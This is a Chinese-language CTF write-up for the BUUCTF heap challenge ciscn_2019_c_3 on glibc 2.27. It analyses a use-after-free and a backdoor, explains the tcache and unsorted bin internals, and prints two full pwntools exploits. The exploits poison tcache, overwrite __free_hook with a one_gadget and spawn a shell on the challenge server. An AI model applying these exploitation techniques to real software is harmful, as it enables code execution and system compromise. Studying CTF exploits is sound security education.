PWN> [CISCN2019]ciscn_2019_c_3 [BUUCTF]

发布于 2023-05-19  14 次阅读


这会是正儿八经选到堆题了,选了个二十多分的国赛题,结果步子跨大了些有点卡到蛋了()
最后对着一个绕了些远路的佬的 exp 一点点学,总算是理解了个大概,也补了些 how2heap 里没提到/没进脑的基础知识

题目

靶机环境是 Ubuntu18,对应的 glibc 版本是 2.27,可以用 patchelf 修改 ELF 文件的链接路径
对于 glibc-2.27 的堆利用主要集中于不检查 double free 的 tcache 机制,但比较坑的一点是这个漏洞也同样在 glibc-2.27 被修复了,我们下载时很难分辨哪个是可利用版本,所以推荐直接在 BUU 而非其他途径下载 glibc

静态分析

main()
经典增删查,还给了个后门

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  init(argc, argv, envp);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        v3 = read_atoi();
        if ( v3 != 3 )
          break;
        dele();
      }
      if ( v3 > 3 )
        break;
      if ( v3 == 1 )
      {
        create();
      }
      else
      {
        if ( v3 != 2 )
          goto LABEL_15;
        show();
      }
    }
    if ( v3 == 5 )
    {
      puts_flush("bye,bye!!");
      exit(0);
    }
    if ( v3 != 666 )
LABEL_15:
      exit(0);
    backdoor();
  }
}

dele()show()
释放内存后没有清空指针,仍然可以将 attack time 也就是 fd 指针打印出来,存在 UAF

void dele()
{
  int v0; // [rsp+Ch] [rbp-4h]

  puts_flush("weapon:");
  v0 = read_atoi();
  if ( v0 >= 0 && v0 <= 8 )
  {
    if ( weapon_list[v0] )
      free(weapon_list[v0]);                    // didn't clear pointer -> UAF
  }
}
unsigned __int64 show()
{
  int v1; // [rsp+Ch] [rbp-3F4h]
  char s[1000]; // [rsp+10h] [rbp-3F0h] BYREF
  unsigned __int64 v3; // [rsp+3F8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts_flush("index: ");
  v1 = read_atoi();
  if ( v1 >= 0 && v1 <= 8 && weapon_list[v1] )
  {
    snprintf(
      s,
      0x100uLL,
      "weapons'name: %s\nattack_times: %lu\nattack_numbers: %lu",
      (weapon_list[v1] + 0x10LL),               // name: fd + 0x10
      *weapon_list[v1],                         // fd
      *(weapon_list[v1] + 8LL));
    puts_flush(s);
  }
  return __readfsqword(0x28u) ^ v3;
}

create()
只允许申请 0x60、0x100 和 0x4F 三种大小共 9 个堆块,但可写入区域恰好避开了 fd 指针

void create()
{
  int i; // [rsp+8h] [rbp-18h]
  unsigned int v1; // [rsp+Ch] [rbp-14h]
  _QWORD *v2; // [rsp+10h] [rbp-10h]

  for ( i = 0; i <= 8; ++i )
  {
    if ( !weapon_list[i] )
    {
      puts_flush("size: ");
      v1 = read_atoi();
      if ( v1 == 0x60 || v1 == 0x100 || v1 == 0x4F )// only these three size
      {
        v2 = malloc(v1);
        *v2 = 0LL;                              // fd -> attack times
        v2[1] = time(0LL) % 10 + 96;            // fd + 0x8 -> attack numbers
        puts_flush("Give me the name: ");
        read_context((v2 + 2), v1);             // can't overwrite to fd
        weapon_list[i] = v2;
      }
      else
      {
        puts_flush("you can only create three kinds of weapons");
      }
      return;
    }
  }
}

backdoor()
后门可以篡改 fd 指针,篡改的数值取决于 weapon 的 index,也就是堆块申请的顺序号

unsigned __int64 backdoor()
{
  int v1; // [rsp+8h] [rbp-3F8h]
  int v2; // [rsp+Ch] [rbp-3F4h]
  char s[1000]; // [rsp+10h] [rbp-3F0h] BYREF
  unsigned __int64 v4; // [rsp+3F8h] [rbp-8h]

  v4 = __readfsqword(40u);
  v1 = 0;
  puts_flush("Can't beat down them?Let me add the attack_number for you !! ");
  puts_flush("weapon:");
  v2 = read_atoi();
  if ( v2 >= 0 && v2 <= 8 && weapon_list[v2] )
  {
    while ( v2 - 1 > v1 )
    {
      ++*weapon_list[v2];                       // fd += v2 - 1
      ++v1;
    }
  }
  snprintf(
    s,
    0x100uLL,
    "weapons'name: %s\nattack_times: %lu\nattack_numbers: %lu",
    (weapon_list[v2] + 16LL),
    *weapon_list[v2],
    *(weapon_list[v2] + 8LL));
  puts_flush(s);
  return __readfsqword(40u) ^ v4;
}

动态调试

这里 debug 主要是讲解 tcache 和 unsorted bin 以及相关的结构体

tcache

控制 tcache 的是两个数据结构:tcache_perthread_structtcache_entry

先上源码

/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

# define TCACHE_MAX_BINS                64

static __thread tcache_perthread_struct *tcache = NULL;

tcache_perthread_struct是一个结构体,counts 记录了各个大小堆块的个数,entries 数组负责链接每个大小的空闲堆块链表的尾结点指针(tcache 使用 FILO 策略)
在初始化也就是第一次调用 malloc 时,tcache 会先在堆基址申请一个 0x250 大小的堆块用于存放这两个结构体,所以我们可以在堆基址上找到它
这里我先申请并释放了两个 0x100 和一个 0x60 大小的堆块

可以看到在堆基址上有一个并不是我们申请的 0x250 大小的 chunk

在结构体内可以看到计数数组 count(0x7010 处)和链表入口指针数组 entries 存放的指针(0x7078 和 0x70c8 处)

unsorted bin

unsorted bin 则没有那么多管理的结构体,它只在 libc 的可写区存有一个入口指针,因此其入口在 libc 内的偏移是固定的,也就是说如果存在 UAF 漏洞那就可以泄露出 libc 基址

方便起见我们先将 tcache 的计数器改到大于 7 以便后续堆块能进入 unsorted bin

pwndbg> set {int}0x55555560701f=0x08

可以看到第一个进入 unsorted bin 的 chunk 的 fd 和 bk 指针都指向了 entry

exp1

解析

这个师傅的思路稍微绕远了些

首先我们通过 tcache 的 double free 泄露出 fd 指针并计算出堆基址

create(0x100, 'a')
create(0x100, 'a')
create(0x100, 'a')
create(0x100, 'a')
delete(3)
delete(3)
show(3)
io.recvuntil('attack_times: ')
tcache_struct = int(io.recvline()[:-1]) - 0x590

然后利用 backdoor 将 fd 指针移动到 name 域使后面可以任意读写
这里循环的次数需要自己计算

for i in range(8):      # (3-1)*0x8=0x10   chunk_fd -> chunk_name
    backdoor(3)

先把释放的堆块申请出来,将 name 域也就是 fack chunk 的 fd 指针改写为tcache_perthread_struct以便后面篡改,现在 entry 指向 篡改后的 fd 指针

create(0x100, p64(tcache_struct))       # name = chunk_fd -> tcache_struct

申请一次,返回的仍然是那个堆块,但后移了 0x10,现在 entry 指向写了tcache_perthread_struct地址的 name 域
再申请一次就拿到tcache_perthread_struct了,我们暴力将所有计数器篡改到 7,并将 0x60 的 entry 指针篡改为tcache_struct + 0x20,加上 0x20 的原因后面再讲

create(0x100, b'\x07' * 0x40 + b'\x00' * 0x28 + p64(tcache_struct + 0x20))        # MIN~MAX = 7   0x60(0x70)entries -> tcache_struct+0x20   we will write from base+0x30

然后再次释放一个堆块,此时由于计数器大于 7,堆块会被链接进 unsorted bin,然后就可以泄露出它的 fd 指针也就是 unsorted bin 的 entry 地址,并进一步计算出 libc 的基址和 getshell 相关的地址

delete(0)       # chunk_0 -> unsorted_bin
show(0)     # leak libc_base
io.recvuntil('attack_times: ')
unsorted_entries = int(io.recvline()[:-1])
libc_base = unsorted_entries - 0x3ebca0
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4f322

申请一个 0x60 大小的堆块,并在此基址上篡改 0x60 entry 指针为 free_hook,前面的 0x20 就是为了增大堆块的基址绕过堆块写入长度的限制并够到 entry
然后再申请一次,得到 free_hook 并篡改为 one_gadget

create(0x60, b'\x00' * 0x48 + p64(free_hook - 0x10))        # 0x48 to 0x60(0x70)entry   0x48 + 0x08 = 0x50 -> didn't overflow   entry -> free_hook-0x10
create(0x60, p64(one_gadget))       # write free_hook

万事俱备,现在只需释放一个堆块就能 getshell 了

完整 exp

from pwn import *

io = remote('node4.buuoj.cn', 28015)
# io = process('./ciscn_2019_c_3')
libc = ELF('./libc-2.27.so')

def create(size, name):
    io.sendlineafter('Command:', '1')
    io.sendlineafter('size:', str(size))
    io.sendlineafter('Give me the name:', name)
def show(index):
    io.sendlineafter('Command:', '2')
    io.sendlineafter('index:', str(index))
def delete(index):
    io.sendlineafter('Command:', '3')
    io.sendlineafter('weapon:', str(index))
def backdoor(index):
    io.sendlineafter('Command:', '666')
    io.sendlineafter('weapon:', str(index))

create(0x100, 'a')
create(0x100, 'a')
create(0x100, 'a')
create(0x100, 'a')
delete(3)
delete(3)
show(3)
io.recvuntil('attack_times: ')
tcache_struct = int(io.recvline()[:-1]) - 0x590

for i in range(8):      # (3-1)*0x8=0x10   chunk_fd -> chunk_name
    backdoor(3)
create(0x100, p64(tcache_struct))       # name = chunk_fd -> tcache_struct
create(0x100, 'a')      # clear tcache
create(0x100, b'\x07' * 0x40 + b'\x00' * 0x28 + p64(tcache_struct + 0x20))        # MIN~MAX = 7   0x60(0x70)entries -> tcache_struct+0x20   we will write from base+0x30
delete(0)       # chunk_0 -> unsorted_bin
show(0)     # leak libc_base
io.recvuntil('attack_times: ')
unsorted_entries = int(io.recvline()[:-1])
libc_base = unsorted_entries - 0x3ebca0
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4f322

create(0x60, b'\x00' * 0x48 + p64(free_hook - 0x10))        # 0x48 to 0x60(0x70)entry   0x48 + 0x08 = 0x50 -> didn't overflow   entry -> free_hook-0x10
create(0x60, p64(one_gadget))       # write free_hook
delete(0)

io.interactive()

exp2

这份 exp 思路更为简短直接,大概是标准解法

思路大概是

  • double free 泄露出 main_arena 地址(没太搞懂,调试发现似乎 free 了八次也没进入 unsorted bin)
  • 因为 malloc_hook 位于 main_arena 上方 -0x10 的位置,据此依次算出 hook、libc 基址和 one_gadget
  • 然后和前面一样通过 double free 和 back door 篡改 tcache entries 拿到任意地址写
#coding:utf8
from pwn import *
 
#sh = process('./ciscn_2019_c_3')
sh = remote('node3.buuoj.cn',26426)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
malloc_hook_s = libc.symbols['__malloc_hook']
free_hook_s = libc.symbols['__free_hook']
one_gadget = 0x4f322
 
def add(size,content):
   sh.sendlineafter('Command:','1')
   sh.sendlineafter('size:',str(size))
   sh.sendlineafter('Give me the name:',content)
 
def show(index):
   sh.sendlineafter('Command:','2')
   sh.sendlineafter('index:',str(index))
 
def delete(index):
   sh.sendlineafter('Command:','3')
   sh.sendlineafter('weapon:',str(index))
 
def backdoor(index):
   sh.sendlineafter('Command:','666')
   sh.sendlineafter('weapon:',str(index))
 
#0
add(0x100,'a')
#1
add(0x60,'b')
 
for i in range(8):
   delete(0)
 
show(0)
sh.recvuntil('attack_times: ')
main_arena_xx = int(sh.recvuntil('\n',drop = True))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
free_hook_addr = libc_base + free_hook_s
one_gadget_addr = libc_base + one_gadget
print 'libc_base=',hex(libc_base)
print 'free_hook_addr=',hex(free_hook_addr)
print 'one_gadget_addr=',hex(one_gadget_addr)
#2
add(0x60,'a'*0x10 + p64(free_hook_addr - 0x10))
 
delete(2)
delete(2)
#修改fd+=0x20
for i in range(0x20):
   backdoor(2)
add(0x60,'c') #3
add(0x60,'c') #4
add(0x60,p64(one_gadget_addr))
#getshell
delete(1)
 
sh.interactive()